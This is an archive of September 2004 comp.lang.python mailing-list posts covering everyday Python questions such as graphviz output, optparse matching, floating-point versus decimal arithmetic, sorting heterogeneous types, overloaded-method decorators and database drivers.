References: <47f7cc78.0409300618.332a3278@posting.google.com>
Message-ID: <JaOdnbKT9I4chMHcRVn-vQ@giganews.com>

Tim Henderson wrote:

> I want to dynamically generate a graph in python that would be
> displayable on a web page. What would be the best way to do this?

See if you can run graphviz in the background.

http://www.research.att.com/sw/tools/graphviz/

If yes you'll need to create an input file
based on your data then run the dot utility
on it to generate a graphics file.

There is pydot module that generates graphviz
files:

http://dkbza.org/pydot.html

IMO is a little bit too complicated, and might not be worth the trouble.

The dot file format is fairly simple and you might be better off
just understanding it and then generating directly
in that format. You will need to understand the format
anyhow if you want to customize the output.

Istvan.


From __peter__ at web.de  Sat Sep 18 18:41:58 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 19 Sep 2004 00:41:58 +0200
Subject: optparse question
References: <qa13d.272825$OR2.12440578@news3.tin.it>
	<cii8g3$2op8$1@dojima-n0.hi-ho.ne.jp>
	<0W13d.272974$OR2.12451641@news3.tin.it>
Message-ID: <ciidjm$6p6$00$1@news.t-online.com>

GMTaglia wrote:

> I think it will be better if only the exact option will match, it will
> avoid typing mistakes and/or accidentally wrong matches, imho.

The source is there to override, even if it scares you away with abundant
underscores.

import optparse

def _(s): return s

class OptionParser(optparse.OptionParser):
    def _match_long_opt(self, opt):
        if opt in self._long_opt:
            return opt
        raise optparse.BadOptionError(_("no such option: %s") % opt)

if __name__ == "__main__":
    p = OptionParser()
    p.add_option("--long", action="store_true")
    options, args = p.parse_args()
    print "long:", options.long
 
Peter



From pythongnome at hotmail.com  Fri Sep  3 19:39:47 2004
From: pythongnome at hotmail.com (Lucas Raab)
Date: Fri, 03 Sep 2004 23:39:47 GMT
Subject: Announcing PyCs, a new Python-like language on .Net
References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net>		<mailman.2573.1093758218.5135.python-list@python.org>		<1093794853.349452@news.commspeed.net>
	<mailman.2711.1094020820.5135.python-list@python.org>
	<41357372.E263DE37@alcyone.com>
	<8548c5f3.0409010533.1fed5008@posting.google.com>
	<1hhcev52r31j6.1nier31029dhk.dlg@40tude.net>
	<mFMZc.1725$Vl5.273@newsread2.news.atl.earthlink.net>
	<486wnxz6ibq$.181vopiedpmhp$.dlg@40tude.net>
Message-ID: <7h7_c.5021$Vl5.3721@newsread2.news.atl.earthlink.net>

Yeah, sorry about the flaming post. I apologize for that. I had had a little 
bit of a bad day. Just got to me. So, again I apologize.

"Mark Hahn" <mark at prothon.org> wrote in message 
news:486wnxz6ibq$.181vopiedpmhp$.dlg at 40tude.net...
> On Thu, 02 Sep 2004 21:55:30 GMT, Lucas Raab wrote:
>
>> "Mark Hahn" <mark at prothon.org> wrote in message
>> news:1hhcev52r31j6.1nier31029dhk.dlg at 40tude.net...
>>> On 1 Sep 2004 06:33:57 -0700, Anand Pillai wrote:
>> [snip..]
>>>> o How does it differ from Mark Hammond's Python for .NET ?
>>>
>>> Totally different.
>>>
>>
>> BUT HOW IS IT DIFFERENT??? You never answered the question.
>>
>>>> o How does it differ from Jim Hugunin's IronPython ?
>>>
>>> IronPython is an implementation of the compatible current Python on .Net
>>> except for the libraries.  PyCs is more like Python 3000 in that it is
>>> incompatible, with advanced Python features.  The advanced features are
>>> from Prothon (mostly fixes of Python gotcha's) and from C-Omega.
>>>
>>
>> So it's not like Python if it's incompatible.
>>
>> [snip..]
>>
>> Why not write a paper _clearly_ stating what makes Pyxc different from 
>> the
>> other Python .NET implementations?? I'm sure if you have a cleanly 
>> written
>> paper all of this mass confusion would not be necessary. Sorry, if this 
>> is a
>> flaming post, but nothing seems to be solid on what's going on.
>
> I have written about it at length.  See http://pycs.org and our wiki which
> is linked there. 




From alexander.hoffmann at netgenius.de  Wed Sep  8 12:58:54 2004
From: alexander.hoffmann at netgenius.de (Alexander Hoffmann)
Date: Wed, 8 Sep 2004 18:58:54 +0200
Subject: tuples allocated by formated print ?
In-Reply-To: <413F2143.2030903@divmod.com>
References: <200409081140.26869.alexander.hoffmann@netgenius.de>
	<413F2143.2030903@divmod.com>
Message-ID: <200409081858.54081.alexander.hoffmann@netgenius.de>

On Wednesday 08 September 2004 17:12, Jp Calderone wrote:
> Alexander Hoffmann wrote:
> > Hello,
> >
> > Recently I was debugging a memory leak in my app and finally figured out
> > that I had to manually implement destructors for some classes.
>
>    I'm not sure what this means.
>
> > While debugging I wrote a method that prints the number of instances per
> > type for all objects returned by gc.get_objects. I was astonished by the
> > fact that after perfroming a few tests with my app there were about 4000
> > instances of Tuple in memory. Looking at these instances I got the
> > feeling that they contained the values I used in formated prints like:
> > print ("my name is %s" % ("alex", ))
> > Can anyone of you confirm that tuples constructed this way will be
> > removed from memory by Python automatically ?
>
>    They will be.
That's what I was hoping  :-)

> > If so, can you imagine any reason for so many tuple instances to exist
> > (given the fact that besides in print (...) I do not make use of tuples
> > in my source code) ?
>
>    You probably create a lot more tuples than you think.  For example:
>      >>> class Foo(object):
>
>      ...     def f(self):
>      ...             pass
>      ...
>
>      >>> type(Foo.__mro__)
>
>      <type 'tuple'>
>
>    Also keep in mind that any module from the stdlib or a third party
> package that you import is creating objects of its own.  These are
> included in any results returned by the gc module.
>
Ok, I see. So it's normal that there is a high number of Tuples allocated. But 
two facts tell me that there is something wrong:
 1. They contain personal data (for example concerning my example from above, 
I find a tuple like ("alex", ).

 2. I have my program running on my workstation and it's size in memory 
slightly increases over time.


-Alex




From ludo at asiatica.org  Sun Sep 12 02:16:25 2004
From: ludo at asiatica.org (Ludovico Magnocavallo)
Date: Sun, 12 Sep 2004 08:16:25 +0200
Subject: Python library to access CVS?
In-Reply-To: <chv72m$8f0$03$1@news.t-online.com>
References: <4712d252.0409110555.13ad27a3@posting.google.com>
	<chv72m$8f0$03$1@news.t-online.com>
Message-ID: <2qi7tsFvo7fiU1@uni-berlin.de>

Benjamin Niemann wrote:
> Parano wrote:
> 
>> Is there a Python library to access CVS?
>> I tried to google search for it, but with "python cvs" you actually find
>> alot of python projects that have CVS repository...

Googling a bit I found PyCVS:

http://pycvs.sourceforge.net/

and a pretty old python-list message by F. Lundh which points to

http://cvs.sourceforge.net/viewcvs.py/python/python/dist/src/Demo/pdist/

the message is at

http://mail.python.org/pipermail/python-list/1999-April/000484.html

Ludo


From admin at polerio.com  Thu Sep 16 12:27:16 2004
From: admin at polerio.com (Polerio Babao Jr.II)
Date: 16 Sep 2004 09:27:16 -0700
Subject: wxPython Not Ready for Commercial Use
Message-ID: <dcf37d82.0409160827.1de98db9@posting.google.com>

Please correct me if im wrong. I have depended much on python and
wxpython gui apps. After a year of using python apps I was able to do
good application written entirely in python. One big problem came into
my attention. The printing support. Yes, there was reportlab. But what
if your client wanted to simulate the customized excel output and have
it converted to reportlab. you cannot do it 100%. There are so many
drawbacks which I do not like. I tried to use the xml file of excel
and modify it on the fly to answer that problem but still not a very
good solution.

I am targetting crystal report as my ideal reporting application. From
my experiences I was not able to print a very good output for
commercial application. If anyone can provide me a very good reporting
application that can be integrated within python I must say python can
be used for commercial gui app. If not then we are all correct, python
is good for training purposes but not for production yet. Please
excempt reportlab from your choices as I have used it already and was
not able to simulate excel like output, still you can do it, the very
difficult way. I am just dissapointed, now I am trying to learn c++/qt
to solve my gui and printing problem. Please correct me if I am wrong.
Thanks.


From aleaxit at yahoo.com  Sat Sep 25 05:31:53 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 11:31:53 +0200
Subject: Why not FP for Money?
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
	<cj2ehb$h95$0$216.39.172.122@theriver.com>
Message-ID: <1gko25a.yz5cxq1pi7416N%aleaxit@yahoo.com>

Bengt Richter <bokr at oz.net> wrote:
   ...
> ISTM maybe decimal _literals_ should be represented internally _exactly_,
> and exactness be preserved in results of expressions involving only
> literals with +-*/ operations.

IOW, you think that *decimal _literals_* should actually be *rationals*,
and this new type 'rational' should be used only internally for
computation between decimal literals, not otherwise made available to
the user, e.g. for I/O...?  If we go to the trouble of introducing a
rational type, why not make it explicitly available to the user then?


Alex


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Sat Sep 18 16:58:13 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Sat, 18 Sep 2004 22:58:13 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3482.1095528019.5135.python-list@python.org>
	<cii0ef$qb7$1@news-reader2.wanadoo.fr>
	<lf3pk09fm7jnk6qekp24j85u9b585koh5m@4ax.com>
Message-ID: <cii7hq$n4n$1@news-reader5.wanadoo.fr>

Hi !

BCD (english) ==> DCB (french)


And Alcyane-basic run, in 1976, with floating-based-DCB-arithm?tique, on the
8080, before than IEEE normalize the floating-arithm?tique-pow(256)-based
(and longer before Ada).

And DCB is native in all Intel processors.

And before, when i use Fortran on mini-computer, there was no this problem.
But, then it's very much easy to work with pow(256),  And the anscendant
compatibility become...  H?las.


*sorry for my bad english*


Michel Claveau






From carribeiro at gmail.com  Wed Sep 22 08:21:29 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 22 Sep 2004 09:21:29 -0300
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <1gkigwd.g94011hdrj5dN%aleaxit@yahoo.com>
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
	<loom.20040921T193847-890@post.gmane.org>
	<20040921182934.GA9959@unununium.org>
	<mailman.3673.1095792247.5135.python-list@python.org>
	<1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com>
	<mailman.3703.1095842175.5135.python-list@python.org>
	<1gkigwd.g94011hdrj5dN%aleaxit@yahoo.com>
Message-ID: <864d37090409220521e4a0224@mail.gmail.com>

On Wed, 22 Sep 2004 11:03:51 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> The fact that some such problems were observed in Python itself was used
> as an argument to justify not doing comparisons among het types in
> Python; I argue that pushing such subtle responsibilities down to Python
> _users_ is no progress.

That pretty much sums my argument very well (Thanks Alex!). I think
that sort must simply work. *If* some type of ordering between
heterogeneous items is defined by the Python sort() behavior, then
it's much easier for any user (novice or expert) to simply refer to
that ordering when trying to understand how does sort() works. Look at
what happens if this problem is moved to the user side:

-- extra care will be needed by the part of the programmer, because
sort() can raise TypeErrors in situations where it doesn't raise today
(even a *very simple case*, that is to have None values in the list,
as the ones returned by SQL queries);

-- worse performance, because a generic __cmp__ function written is
Python is bound to be orders of magnitude slower than the native
implementation;

-- in the lack of a standard, default ordering, each and every
programmer will define its own ordergin when it comes to managing
heterogeneous data. If the overloaded function is exported, the user
will be left to guess about the ordering. In a way, it violates the
TOOWTDI motto.

Talking about real applications:

-- SQL applications can return null values for non-initialized values.
Try ordering that.

-- OLE applications that return variants are bound to the same
problem. They may return null values, or any other type, and Python
will convert the type automatically. If these values are fed to a list
and then sorted, again, there may be problems.

-- The long tuples mentioned by Alex can be simply long strings.
Internationalization text, for instance -- to compute the hash, one
must iterate over the entire string; a balanced tree-based design will
compare only the first few characters in most cases. Hashing strings
is probably fast (a very tight loop, I assum), but for some size of
string is bound to start to get slower than binary comparisons
mentioned.

-- A heap can't be used anymore to treat heterogeneous objects.

And finally:

I think that many people are worried about what are really corner
cases -- sorting complex numbers or other complex data structures.
That's not what worries me, because in this situation we can safely
assume that the application is complex enough to deserve sort()
customization. *What I'm worried about is the lack of default ordering
for fundamental types*. Another issue that was raised is the ordering
between strings and numbers. Well, this particular case can be
discussed. As it is today, it's not that bad -- some people may forget
to convert numbers to strings, or be confused by the final ordering,
but at least *there's a standard ordering* that works for everyone
else.

In conclusion (I'm repeating myself again):

-- ordering, for sort purposes, is one thing -- it's *information
management* at work..
-- mathemathical ordering is another thing.

The two concepts are *very similar*, but are still *different*, as far
as their real applications are concerned. In the case of sorting, what
matters is to have a unique and well defined ordering that can be used
for *information management* purposes. On the other hand, rich
comparisons are already being used for other purposes, valid in the
mathematical sense, that have nothing to do with ordering. Is it or
not clear?


p.s. It's good to have this discussion so far in advance to Py3K. This
way we can avoid having it at Py3K alpha, with very little time and a
small chance to win the argument against a commited patch.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From tjreedy at udel.edu  Mon Sep  6 02:32:46 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 6 Sep 2004 02:32:46 -0400
Subject: Fastest way to loop through each digit in a number?
References: <ssjnj01agata9qtsn414740sml1kc2em49@4ax.com>
Message-ID: <chh0ai$j51$1@sea.gmane.org>


"Rune Strand" <rst at _nospam_.drlug.org._nospam_> wrote in message 
news:ssjnj01agata9qtsn414740sml1kc2em49 at 4ax.com...
> Hi,
> If I have a lot of integers and want do something with each digit as
> integer, what is the fastest way to get there?
>
> Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345"
>
> (Btw: What is the English term for this process; itemize? tokenize?
> digitize?  sequence?)
>
> Some examples:
 You might also look at

zero = ord('0')

and then ord(i)-zero in loop

tjr





From john at grulic.org.ar  Fri Sep 17 16:51:45 2004
From: john at grulic.org.ar (John Lenton)
Date: Fri, 17 Sep 2004 17:51:45 -0300
Subject: Sorting a dictionary field belonging to a list
In-Reply-To: <pan.2004.09.17.18.51.21.514390@yahoo.com>
References: <pan.2004.09.17.18.51.21.514390@yahoo.com>
Message-ID: <20040917205145.GB22582@grulic.org.ar>

On Fri, Sep 17, 2004 at 02:51:22PM -0400, Jocknerd wrote:
> I have a list called teamlist which contain dictionaries of teams.  These
> are the fields in my team dictionary:
> 
> name, won, lost, tied, pf, pa
> 
> To print standings I do the following:
> 
> def printStandings(teamlist):
>    for team in teamlist:
>       print (team['name'], team['won'], team['lost'], team['tied'],
>       team['pf'], team['pa'])
> 
> My question is how would I go about sorting the output based on team['pf']
> for instance?

replace

    for team in teamlist:

using the decorate-sort-undecorate pattern,

    sortedlist = [(i['pf'], i) for i in teamlist]
    sortedlist.sort()
    for pf, team in sortedlist:

(this is far faster than calling a python function on each comparison);
in 2.4 you will be able to do

    for team in sorted(teamlist, operator.itemgetter('pf')):

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
Do not drink coffee in early A.M.  It will keep you awake until noon.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040917/43f80d5c/attachment.sig>

From alienoid at is.lg.ua  Tue Sep  7 10:41:20 2004
From: alienoid at is.lg.ua (Ruslan)
Date: Tue, 07 Sep 2004 17:41:20 +0300
Subject: minidom's setAttribute + UnicodeDecodeError
Message-ID: <1094568080.2804.24.camel@dev.nux.com>

Hi, everybody.
In this excerpt of code

enc = 'some_type_of_encoding'

def _encode(v):
    if isinstance(v, UnicodeType):
        v = v.encode(v)
    return v

....
node.setAttribute('style:name', _encode(value))
....

i get UnicodeDecodeError:
------------------------------------------------------------
Traceback (most recent call last):
  File "stnreplace.py", line 107, in ?
    StylesHelper(fname).replace(trdict)
  File "stnreplace.py", line 63, in replace
    node.setAttribute('style:name', _encode(uval))
  File "/usr/local/lib/python2.3/site-packages/_xmlplus/dom/minidom.py",
line 704, in setAttribute
    elif value != attr.value:
UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 14:
ordinal not in range(128)
------------------------------------------------------------

The value passed to setAttribute is utf8 string, i tried with different
encodings, but no luck.
Could somebody give any suggestion how to solve that? Seems problem is
in 'ascii' codec in minidom, but how to make it handle not just ascii?
TIA

P.S. Tested with python2.3.3 & python2.3.4

Best regards,
Ruslan



From jmlai at uci.edu  Fri Sep 10 15:32:15 2004
From: jmlai at uci.edu (Jason Lai)
Date: Fri, 10 Sep 2004 12:32:15 -0700
Subject: python to C ?
In-Reply-To: <mailman.3167.1094843240.5135.python-list@python.org>
References: <mailman.3167.1094843240.5135.python-list@python.org>
Message-ID: <chsvg0$5ip$1@news.service.uci.edu>

mudd at vex.net wrote:
> I seem to remember an announcement on Daily Python-URL in the past year or
> two about a project that converts Python to C.  The goal wasn't to convert
> generic Python but a limited subset.  Something else unique was that the
> generated C code was sort of object oriented, actually readable.
> 
> But I don't remember the project name and can't find it even after many
> tries with Google, Vaults of P., etc.  And it wasn't Pyrex.  Does anyone
> recognize what I'm describing?
> 
> John
> 

The ones I've heard of are Python2C and PyFront. But I think they're 
pretty simplistic and haven't been updated for a long long time.

Pyrex sort of converts Python into C. It's not exactly Python code 
because of some limitations, I think, but it comes close. But the C code 
generated is *ugly*. I think the mangled variable naming has a lot to do 
with that.

Phil Frost suggested Psyco, but that actually generates assembly code, 
not C.

  - Jason


From daniel at syrinx.net  Thu Sep  9 09:10:28 2004
From: daniel at syrinx.net (Daniel Ellison)
Date: Thu, 09 Sep 2004 09:10:28 -0400
Subject: Question: tools for business apps development
In-Reply-To: <mailman.3092.1094733220.5135.python-list@python.org>
References: <mailman.2847.1094238878.5135.python-list@python.org>	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>	<864d370904090606465938fea5@mail.gmail.com>	<mailman.2980.1094568177.5135.python-list@python.org>	<Xns955F1AEE4BA29JanC@213.118.38.197>	<yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca>	<mailman.3067.1094698639.5135.python-list@python.org>	<2qavr3Ft7dgdU1@uni-berlin.de>
	<mailman.3092.1094733220.5135.python-list@python.org>
Message-ID: <2qb2tmFt7dgdU2@uni-berlin.de>

Carlos Ribeiro wrote:

> On Thu, 09 Sep 2004 08:17:52 -0400, Daniel Ellison <daniel at syrinx.net> wrote:
> 
>>[talking about the risks regarding Flash changes]
>>A risk, yes, but not much of one.
> 
> 
> I have to agree, and I admit that my problems with Flash come down to
> two small issues:
> 
> -- It's too glitzy :-) Yes, it may be a problem for people used to
> design apps the old way. It's funny to note that Windows apps are not
> much different from old text apps, as far as the structure of the
> dialogs and windows is concerned. Everything is a rectangle. Flash
> frees you of this kind of limitation. This kind of freedom can be
> frightening for old timers (such as me).

:) By any measure, I'm an old-timer as well. Maybe it helps that I have 
a graphics background, but then Peter doesn't and he seems open to the 
idea (see his "Flython" thread). But for those frightened by the 
non-rectangular nature of Flash :), there are many drag-and drop 
component libraries available which let you create what look like, for 
all intents and purposes, Windoze applications. The latest version of 
the Flash authoring environment supports this explicitly, with extensive 
libraries of powerful UI components, many of which incorporate automatic 
data validation. Macromedia's big push right now is what they call rich 
Internet applications. They (finally) see the potential of Flash as a 
very effective cross-platform client.

> 
> -- Philosophically thinking, it's not free so it should not be used.
> This a Stalmanish position, but it does have some power in the context
> of a decision to use only free tools.

Well, I'm not here to argue philosophical or moral issues, but I do 
believe in using the right tool for the right job. I do *not* believe 
that CSS+HTML+JavaScript is the right tool for /any/ job, actually. 
Currently, Flash is one of the only viable alternatives if one is 
writing a web-based application.

Btw, "it's not free so it should not be used" wouldn't get you very far 
outside the IT world... :)

> 
> BTW, if the Flash format is already open, and if Shockwave can't just
> change it, why do they don't just dedicate it to the public domain as
> proof of their good intentions? The fact is that there are a lot of
> stuff that they want to keep for themselves -- the power to steer the
> development of the Flash standard, and possibly a few patented
> processes to generate or render some of its features.
> 

Of /course/ they want control over their own format. They are a 
business, after all. (No... step away... from the controversy... must... 
resist...).

Anyway, I do not work for, nor have I ever worked for Macromedia. I just 
see the potential in a technology that to date has been vastly mis-used 
and misunderstood. I think the combination of Python on the back-end and 
Flash on the client is an excellent approach for web applications.

Dan


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Sun Sep 19 05:50:12 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Sun, 19 Sep 2004 11:50:12 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3482.1095528019.5135.python-list@python.org>
	<ad052e5c.0409182126.532e85d0@posting.google.com>
Message-ID: <cijkp3$b0v$2@news-reader5.wanadoo.fr>

Hi !


No.  BCD use another work :   two digits by Byte.  The calculation is
basically integer, it's the library who manage the decimal point.

There are no problem of round.


@-salutations
-- 
Michel Claveau




From cpl.19.ghum at spamgourmet.com  Sun Sep 12 03:42:09 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Sun, 12 Sep 2004 07:42:09 +0000 (UTC)
Subject: Postgresql - Preferred Python Library
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
	<Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116>
	<mailman.3136.1094804452.5135.python-list@python.org>
Message-ID: <Xns956262B7DD9EFcpl19ghumspamgourmet@195.20.224.116>

> I've just started experimenting with psycopg2
> (http://wiki.initd.org/Projects/PsycopgTwo) and it's looking good.

Matt,

on my research of Python connectors to postgresql I also saw psycopg. I had 
to stop further testing because no win32 binaries were available.

My knowledge grew since then, and meanwhile I was able to compile pyPgSQL 
myself using the instructions and MingW32.

I was not able to compile psycopg2 with MingW32. I assume you use it 
outside windows, or do you have any binaries for Win32 and psycopg? The 
type issue sounds promising, would like to test it ..

Harald


From carribeiro at gmail.com  Mon Sep 27 14:55:15 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 27 Sep 2004 15:55:15 -0300
Subject: Metaclass with name overloading.
In-Reply-To: <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com>
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net>
	<1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com>
Message-ID: <864d370904092711553ca023f6@mail.gmail.com>

On Mon, 27 Sep 2004 19:11:14 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> so, class blop doesn't really have an 'f' (it does have it in the
> __dict__, but it's a dummy '_ignore_method' entry with a suitable custom
> metaclass would easily prune!-) but has __overloaded__f__0 and
> __overloaded__f__1 methods (which, again, a suitable custom metaclass
> could do whatever wonders with!-).

The decorator could play it safe, and at the same time, return
something like the original poster expects. Upon decoration the
following would happen:

1) store the newly declared object in the list __overloaded__<$name>.

2) return a new object (to be bound to the <$name>), where
<$name>.__call__ would return __overloaded__<$name>[-1]; and
f.__iter__ would return an iterator for all declaration in the order
they appear.

I did it as follows; it _almost_ works (which really means it's
broken), because there's a catch that I was not able to solve:

------------
import sys, itertools

class OverloadedFunction:
    def __init__(self):
        self.overload_list = []
    def __iter__(self):
        for item in self.overload_list:
            yield item
    def __getitem__(self, index):
        return self.overload_list[index]
    def __call__(self, *args, **kw):
        return self.overload_list[-1](*args, **kw)
    def append(self, f):
        self.overload_list.append(f)

def overloaded(f):
    d = sys._getframe(1).f_locals
    n = '__overloaded__%s' % f.func_name
    #ofl = getattr(d, n, OverloadedFunction())
    if n in d:
        print "achou"
        ofl = d[n]
    else:
        print "n?o achou"
        ofl = OverloadedFunction()
    print "<",ofl.overload_list,">", d, n
    ofl.append(f)
    d[n] = ofl
    return ofl

class blop:
   def f(self): return 'first f'
   f = overloaded(f)

   def f(self): return 'second f'
   f = overloaded(f)

print blop.__dict__
# there's a catch -- methods were not bound to the instance
# so I need to pass the 'self' parameter manually
b = blop()
print blop.f(b)
print blop.f[0](b)
print blop.f[1](b)


The problem is that the methods were not bound to the instance. Adding
individual names to each method won't work, because it'll not bind the
references stored in the overload_list. I thought about using a
closure or curry type of solution, but that's something that I still
don't understand very well. Any tips?

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From aleaxit at yahoo.com  Fri Sep 24 04:04:27 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 10:04:27 +0200
Subject: Python in a Nutshell for Python 2.4
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
	<df045d93.0409232356.73f17213@posting.google.com>
Message-ID: <1gkm3sg.1almygk1703t1eN%aleaxit@yahoo.com>

Tuang <tuanglen at hotmail.com> wrote:
   ...
> That's too bad, but thanks for the update, Alex. The quality of your

You're welcome!

> work makes you the right man for too many jobs, it appears. ;-)

Flattery will get you anywhere...

> BTW, when you said "still targeting Mar 2004" for the Cookbook, were
> you joking about the nature of the book publishing industry, or was it
> a typo for a real target date of Mar 2005?

The latter - an off-by-one error!-)


Alex


From ismaelherreragasser at hotmail.com  Fri Sep 24 22:51:25 2004
From: ismaelherreragasser at hotmail.com (Ismael Herrera)
Date: Fri, 24 Sep 2004 22:51:25 -0400
Subject: html processing
Message-ID: <cj2mgd$jqj$1@sea.gmane.org>


Why does the htmllib has such simple parsers? i think that making something
more complicated that printing 'i am inside post tag' is too hard with this
library since the parsers doesnt help at all. 

So the htmllib is a regex search with empty methods? i can do that by
myself, no need use a parser, i am a litle confused in this.

Is there a python html parser that creates objects from html sources,like
xml.dom?  



From no_damned_spam at nospam.no  Sun Sep 12 15:08:07 2004
From: no_damned_spam at nospam.no (Mario Berger)
Date: Sun, 12 Sep 2004 21:08:07 +0200
Subject: open and shut case
In-Reply-To: <Y201d.1624$_G4.38@newsread3.news.pas.earthlink.net>
References: <NIT0d.400083$gE.34432@pd7tw3no> <878ybfk3rf.fsf@pobox.com>
	<Y201d.1624$_G4.38@newsread3.news.pas.earthlink.net>
Message-ID: <ci26o6$qpi$1@online.de>

>> PS. these days, your subject line sounds distinctly spammish
>> (especially since it's a woman posting the message to a
>> comp. newsgroup -- how likely can that be? ;-)
> 
> 
> What the .... ??! Was that supposed to be funny?  The smiley
> suggests you thought it was.  It isn't.  It's crude and rude.
> 
>                 Andrew

Cut him some slack, he may be really battered by spam and kinda 
sensitive on the issue ;)

~Mik

-- 
Top-Bottom Programming never gets you where you wanted to go.
Bottom-Top Programming gets you where you never wanted to go.

while not life:
   sleep((sleep.normal_time - 5h)); eat(mode=fast); pc_mainloop()


From gherron at islandtraining.com  Sun Sep 19 05:34:00 2004
From: gherron at islandtraining.com (Gary Herron)
Date: Sun, 19 Sep 2004 02:34:00 -0700
Subject: Math errors in python
In-Reply-To: <70b3d.1822$uz1.747@trndny03>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
Message-ID: <200409190234.00253.gherron@islandtraining.com>

On Sunday 19 September 2004 01:00 am, Chris S. wrote:
> Gary Herron wrote:
> > That's called rational arithmetic, and I'm sure you can find a package
> > that implements it for you.  However what would you propose for
> > irrational numbers like sqrt(2) and transcendental numbers like PI?
>
> Sqrt is a fair criticism, but Pi equals 22/7, 

What? WHAT?  Are you nuts?  Pi and 22/7 are most certainly not equal.
They don't even share three digits beyond the decimal point.  (Can you
really be that ignorant about numbers and expect to contribute
intelligently to a discussion about numbers.  Pi is a non-repeating
and non-ending number in base 10 or any other base.)


> exactly the form this
> arithmetic is meant for. Any decimal can be represented by a fraction,
> yet not all fractions can be represented by decimals. My point is that
> such simple accuracy should be supported out of the box.
>
> > While I'd love to compute with all those numbers in infinite
> > precision, we're all stuck with FINITE sized computers, and hence with
> > the inaccuracies of finite representations of numbers.
>
> So are our brains, yet we somehow manage to compute 12.10 + 8.30
> correctly using nothing more than simple skills developed in
> grade-school. You could theoretically compute an infinitely long
> equation by simply operating on single digits, yet Python, with all of
> its resources, can't overcome this hurtle?
>
> However, I understand Python's limitation in this regard. This
> inaccuracy stems from the traditional C mindset, which typically
> dismisses any approach not directly supported in hardware. As the FAQ
> states, this problem is due to the "underlying C platform". I just find
> it funny how a $20 calculator can be more accurate than Python running
> on a $1000 Intel machine.

If you are happy doing calculations with decimal numbers like 12.10 +
8.30, then the Decimal package may be what you want, but that fails as
soon as you want 1/3.  But then you could use a rational arithmetic
package and get 1/3, but that would fail as soon as you needed sqrt(2)
or Pi.  But then you could try ... what?  Can you see the pattern
here?  Any representation of the infinity of numbers on a finite
computer *must* necessarily be unable to represent some (actually
infinity many) of those numbers.  The inaccuracies stem from that
fact.

Hardware designers have settled on a binary representation of floating
point numbers, and both C and Python use the underlying hardware
implementation.  (Try your calculation in C -- you'll get the same
result if you choose to print out enough digits.)

And BTW, your calculator is not, in general, more accurate than the
modern IEEE binary hardware representation of numbers used on most of
today's computers.  It is more accurate on only a select subset of all
numbers, and it does a good job of fooling you in those cases where it
loses accuracy, by doing calculations on more digits then it displays,
and rounding off to the on-screen digits.

So while a calculator will fool you into believing it is accurate when
it is not, it is Python's design decision to not cater to fools.

Dr Gary Herron





From aurora00 at gmail.com  Wed Sep 15 16:48:44 2004
From: aurora00 at gmail.com (aurora)
Date: Wed, 15 Sep 2004 13:48:44 -0700
Subject: thread specific sys.stdout?
Message-ID: <opsedyrils6yt6e7@news.cisco.com>

This may sound a little crazy. I capture the output of one class by  
redirecting the sys.stdout. However the is another threading running at  
the same time and occasionaly it output some messages to the redirected  
sys.stdout irreleveant to the output I want to capture. Is there a way to  
redirect output specific to some threads?

aurora


From export at hope.cz  Mon Sep 20 12:16:58 2004
From: export at hope.cz (Lad)
Date: 20 Sep 2004 09:16:58 -0700
Subject: Shopping cart
Message-ID: <81a41dd.0409200816.5659197b@posting.google.com>

